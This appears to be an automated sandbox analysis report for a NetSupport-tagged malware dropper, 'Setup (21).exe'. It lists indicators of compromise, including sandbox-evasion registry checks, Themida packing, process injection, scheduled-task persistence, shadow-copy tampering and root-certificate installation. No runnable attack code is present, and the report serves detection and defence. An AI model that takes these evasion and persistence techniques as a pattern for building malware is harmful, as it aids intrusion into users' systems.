netsupport | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

System Information Discovery

Processes:

ym5vryTqDPCLWaLwkXNcpDF4.exeQ5pZL3v1i8oT6D1PqwPrbLAh.exenu51Bm0jwjCZXfWisMZjuUlk.exejT9ljWrB8H2SDmiwcZPQyNar.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ym5vryTqDPCLWaLwkXNcpDF4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ym5vryTqDPCLWaLwkXNcpDF4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Q5pZL3v1i8oT6D1PqwPrbLAh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Q5pZL3v1i8oT6D1PqwPrbLAh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	nu51Bm0jwjCZXfWisMZjuUlk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	nu51Bm0jwjCZXfWisMZjuUlk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	jT9ljWrB8H2SDmiwcZPQyNar.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	jT9ljWrB8H2SDmiwcZPQyNar.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Setup (21).exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	Setup (21).exe

Loads dropped DLL 11 IoCs

Processes:

up_RX3dLyP9fcF3fJmZOtovo.exeuED6jlI4PTuJuwIByjVd3_2r.tmpCleaner Installation.exeInlog.tmpWEATHER Manager.tmpVPN.tmpMediaBurner2.tmp

pid	process
3424	up_RX3dLyP9fcF3fJmZOtovo.exe
4320	uED6jlI4PTuJuwIByjVd3_2r.tmp
4320	uED6jlI4PTuJuwIByjVd3_2r.tmp
4492	Cleaner Installation.exe
1764	Inlog.tmp
1764	Inlog.tmp
4784	WEATHER Manager.tmp
4784	WEATHER Manager.tmp
5156	VPN.tmp
5156	VPN.tmp
5432	MediaBurner2.tmp

Themida packer 14 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Documents\jT9ljWrB8H2SDmiwcZPQyNar.exe	themida
C:\Users\Admin\Documents\ym5vryTqDPCLWaLwkXNcpDF4.exe	themida
C:\Users\Admin\Documents\nu51Bm0jwjCZXfWisMZjuUlk.exe	themida
C:\Users\Admin\Documents\GE8bIVNODDL62KupPYqp9x2h.exe	themida
C:\Users\Admin\Documents\ym5vryTqDPCLWaLwkXNcpDF4.exe	themida
C:\Users\Admin\Documents\Q5pZL3v1i8oT6D1PqwPrbLAh.exe	themida
behavioral28/memory/3900-246-0x0000000000D50000-0x0000000000D51000-memory.dmp	themida
behavioral28/memory/4040-273-0x00000000002D0000-0x00000000002D1000-memory.dmp	themida
behavioral28/memory/2772-255-0x0000000001010000-0x0000000001011000-memory.dmp	themida
behavioral28/memory/2120-250-0x0000000000990000-0x0000000000991000-memory.dmp	themida
C:\Users\Admin\Documents\jT9ljWrB8H2SDmiwcZPQyNar.exe	themida
C:\Users\Admin\Documents\nu51Bm0jwjCZXfWisMZjuUlk.exe	themida
C:\Users\Admin\Documents\GE8bIVNODDL62KupPYqp9x2h.exe	themida
C:\Users\Admin\Documents\Q5pZL3v1i8oT6D1PqwPrbLAh.exe	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

Processes:

Q5pZL3v1i8oT6D1PqwPrbLAh.exeym5vryTqDPCLWaLwkXNcpDF4.exejT9ljWrB8H2SDmiwcZPQyNar.exenu51Bm0jwjCZXfWisMZjuUlk.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Q5pZL3v1i8oT6D1PqwPrbLAh.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ym5vryTqDPCLWaLwkXNcpDF4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jT9ljWrB8H2SDmiwcZPQyNar.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	nu51Bm0jwjCZXfWisMZjuUlk.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 15 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
413	ipinfo.io
128	ipinfo.io
134	ipinfo.io
234	ipinfo.io
1607	ipinfo.io
1608	ipinfo.io
29	ipinfo.io
148	ip-api.com
199	ipinfo.io
209	ipinfo.io
214	ipinfo.io
415	ipinfo.io
30	ipinfo.io
637	geoiptool.com
211	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

jT9ljWrB8H2SDmiwcZPQyNar.exenu51Bm0jwjCZXfWisMZjuUlk.exeym5vryTqDPCLWaLwkXNcpDF4.exeQ5pZL3v1i8oT6D1PqwPrbLAh.exe

pid process

3900 jT9ljWrB8H2SDmiwcZPQyNar.exe
4040 nu51Bm0jwjCZXfWisMZjuUlk.exe
2120 ym5vryTqDPCLWaLwkXNcpDF4.exe
2772 Q5pZL3v1i8oT6D1PqwPrbLAh.exe

pid	process
3900	jT9ljWrB8H2SDmiwcZPQyNar.exe
4040	nu51Bm0jwjCZXfWisMZjuUlk.exe
2120	ym5vryTqDPCLWaLwkXNcpDF4.exe
2772	Q5pZL3v1i8oT6D1PqwPrbLAh.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

DN285WvFY40Vo3pQjrXP92K8.exeXUV6vPsYpCU5h0OX1KBr3ePA.exe6O3HGRIaWBdZoB20G7JWTmMP.execPlKfUNTpg7mJXht2DhaDJOZ.exeKsw2BPZMcDG5H5CumnoX5El7.exe

description	pid	process	target process
PID 1296 set thread context of 4696	1296	DN285WvFY40Vo3pQjrXP92K8.exe	DN285WvFY40Vo3pQjrXP92K8.exe
PID 3076 set thread context of 4732	3076	XUV6vPsYpCU5h0OX1KBr3ePA.exe	XUV6vPsYpCU5h0OX1KBr3ePA.exe
PID 4028 set thread context of 4760	4028	6O3HGRIaWBdZoB20G7JWTmMP.exe	6O3HGRIaWBdZoB20G7JWTmMP.exe
PID 3892 set thread context of 4452	3892	cPlKfUNTpg7mJXht2DhaDJOZ.exe	cPlKfUNTpg7mJXht2DhaDJOZ.exe
PID 2304 set thread context of 2312	2304	Ksw2BPZMcDG5H5CumnoX5El7.exe	Ksw2BPZMcDG5H5CumnoX5El7.exe

Drops file in Program Files directory 19 IoCs

Processes:

Setup.exeULxrP04rJhVhjWNB0VmX89T_.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe	Setup.exe
File created	C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.ini	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	ULxrP04rJhVhjWNB0VmX89T_.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\customer3.exe	ULxrP04rJhVhjWNB0VmX89T_.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	ULxrP04rJhVhjWNB0VmX89T_.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jooyu.exe	ULxrP04rJhVhjWNB0VmX89T_.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	ULxrP04rJhVhjWNB0VmX89T_.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe	Setup.exe

Drops file in Windows directory 1 IoCs

Processes:

WerFault.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Program crash 14 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4844	1020	WerFault.exe	XJHS6Vx2mDoCXR6a61Ec6SWF.exe
4984	2596	WerFault.exe	NeKq7ifKebqVoGCQyqlPy4BS.exe
3564	1020	WerFault.exe	XJHS6Vx2mDoCXR6a61Ec6SWF.exe
4956	2596	WerFault.exe	NeKq7ifKebqVoGCQyqlPy4BS.exe
3632	2504	WerFault.exe	lDyGp02VzbDIUiSi84iUnU4h.exe
2076	1020	WerFault.exe	XJHS6Vx2mDoCXR6a61Ec6SWF.exe
5348	2596	WerFault.exe	NeKq7ifKebqVoGCQyqlPy4BS.exe
5724	1020	WerFault.exe	XJHS6Vx2mDoCXR6a61Ec6SWF.exe
5808	2596	WerFault.exe	NeKq7ifKebqVoGCQyqlPy4BS.exe
6052	5208	WerFault.exe	LivelyScreenRecS1.9.exe
1432	1020	WerFault.exe	XJHS6Vx2mDoCXR6a61Ec6SWF.exe
5528	1020	WerFault.exe	XJHS6Vx2mDoCXR6a61Ec6SWF.exe
5772	808	WerFault.exe	VPj0hUPAj0E3dJkevh_aWd6D.exe
4872	1020	WerFault.exe	XJHS6Vx2mDoCXR6a61Ec6SWF.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Ksw2BPZMcDG5H5CumnoX5El7.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ksw2BPZMcDG5H5CumnoX5El7.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ksw2BPZMcDG5H5CumnoX5El7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ksw2BPZMcDG5H5CumnoX5El7.exe

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3156	schtasks.exe
5768	schtasks.exe
2936	schtasks.exe
2108	schtasks.exe
10356	schtasks.exe
5536	schtasks.exe
10176	schtasks.exe
7112	schtasks.exe
6900	schtasks.exe
6252	schtasks.exe
6372	schtasks.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

11256 timeout.exe
6408 timeout.exe
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

11040 vssadmin.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

7916 taskkill.exe
7496 taskkill.exe
9656 taskkill.exe
6084 taskkill.exe
Modifies registry class 1 IoCs

Processes:

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance

pid	process
11256	timeout.exe
6408	timeout.exe

pid	process
11040	vssadmin.exe

pid	process
7916	taskkill.exe
7496	taskkill.exe
9656	taskkill.exe
6084	taskkill.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Setup (21).exeCleaner Installation.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Setup (21).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Setup (21).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E	Cleaner Installation.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	Cleaner Installation.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

6456 PING.EXE

pid	process
6456	PING.EXE

Script User-Agent 11 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	164	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	204	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	205	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	129	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	140	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	166	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	168	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	210	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	414	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	423	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	134	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Setup (21).exeKsw2BPZMcDG5H5CumnoX5El7.exeWerFault.exeWerFault.exe

pid	process
3400	Setup (21).exe
3400	Setup (21).exe
2312	Ksw2BPZMcDG5H5CumnoX5El7.exe
2312	Ksw2BPZMcDG5H5CumnoX5El7.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
3632	WerFault.exe
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956
4956

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2764
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

Ksw2BPZMcDG5H5CumnoX5El7.exe

pid process

2312 Ksw2BPZMcDG5H5CumnoX5El7.exe

pid	process
2764

pid	process
2312	Ksw2BPZMcDG5H5CumnoX5El7.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

up_RX3dLyP9fcF3fJmZOtovo.execPlKfUNTpg7mJXht2DhaDJOZ.exeym5vryTqDPCLWaLwkXNcpDF4.exeQ5pZL3v1i8oT6D1PqwPrbLAh.exeWerFault.exeWerFault.exeWerFault.exeIyAWo3HIaYK2enfqDaaLxk_Z.exe

description	pid	process
Token: SeDebugPrivilege	3424	up_RX3dLyP9fcF3fJmZOtovo.exe
Token: SeDebugPrivilege	3892	cPlKfUNTpg7mJXht2DhaDJOZ.exe
Token: SeDebugPrivilege	2120	ym5vryTqDPCLWaLwkXNcpDF4.exe
Token: SeDebugPrivilege	2772	Q5pZL3v1i8oT6D1PqwPrbLAh.exe
Token: SeRestorePrivilege	4956
Token: SeBackupPrivilege	4956
Token: SeRestorePrivilege	2076	WerFault.exe
Token: SeBackupPrivilege	2076	WerFault.exe
Token: SeBackupPrivilege	2076	WerFault.exe
Token: SeDebugPrivilege	2076	WerFault.exe
Token: SeDebugPrivilege	3632	WerFault.exe
Token: SeDebugPrivilege	4956
Token: SeDebugPrivilege	4844	WerFault.exe
Token: SeDebugPrivilege	3828	IyAWo3HIaYK2enfqDaaLxk_Z.exe
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764
Token: SeShutdownPrivilege	2764
Token: SeCreatePagefilePrivilege	2764

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

uED6jlI4PTuJuwIByjVd3_2r.tmpCleaner Installation.exeInlog.tmpWEATHER Manager.tmpVPN.tmp

pid process

4320 uED6jlI4PTuJuwIByjVd3_2r.tmp
4492 Cleaner Installation.exe
2764
2764
1764 Inlog.tmp
4784 WEATHER Manager.tmp
5156 VPN.tmp

pid	process
4320	uED6jlI4PTuJuwIByjVd3_2r.tmp
4492	Cleaner Installation.exe
2764
2764
1764	Inlog.tmp
4784	WEATHER Manager.tmp
5156	VPN.tmp

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Setup (21).exe

description	pid	process	target process
PID 3400 wrote to memory of 1296	3400	Setup (21).exe	DN285WvFY40Vo3pQjrXP92K8.exe
PID 3400 wrote to memory of 1296	3400	Setup (21).exe	DN285WvFY40Vo3pQjrXP92K8.exe
PID 3400 wrote to memory of 1296	3400	Setup (21).exe	DN285WvFY40Vo3pQjrXP92K8.exe
PID 3400 wrote to memory of 3076	3400	Setup (21).exe	XUV6vPsYpCU5h0OX1KBr3ePA.exe
PID 3400 wrote to memory of 3076	3400	Setup (21).exe	XUV6vPsYpCU5h0OX1KBr3ePA.exe
PID 3400 wrote to memory of 3076	3400	Setup (21).exe	XUV6vPsYpCU5h0OX1KBr3ePA.exe
PID 3400 wrote to memory of 2120	3400	Setup (21).exe	ym5vryTqDPCLWaLwkXNcpDF4.exe
PID 3400 wrote to memory of 2120	3400	Setup (21).exe	ym5vryTqDPCLWaLwkXNcpDF4.exe
PID 3400 wrote to memory of 2120	3400	Setup (21).exe	ym5vryTqDPCLWaLwkXNcpDF4.exe
PID 3400 wrote to memory of 3828	3400	Setup (21).exe	IyAWo3HIaYK2enfqDaaLxk_Z.exe
PID 3400 wrote to memory of 3828	3400	Setup (21).exe	IyAWo3HIaYK2enfqDaaLxk_Z.exe
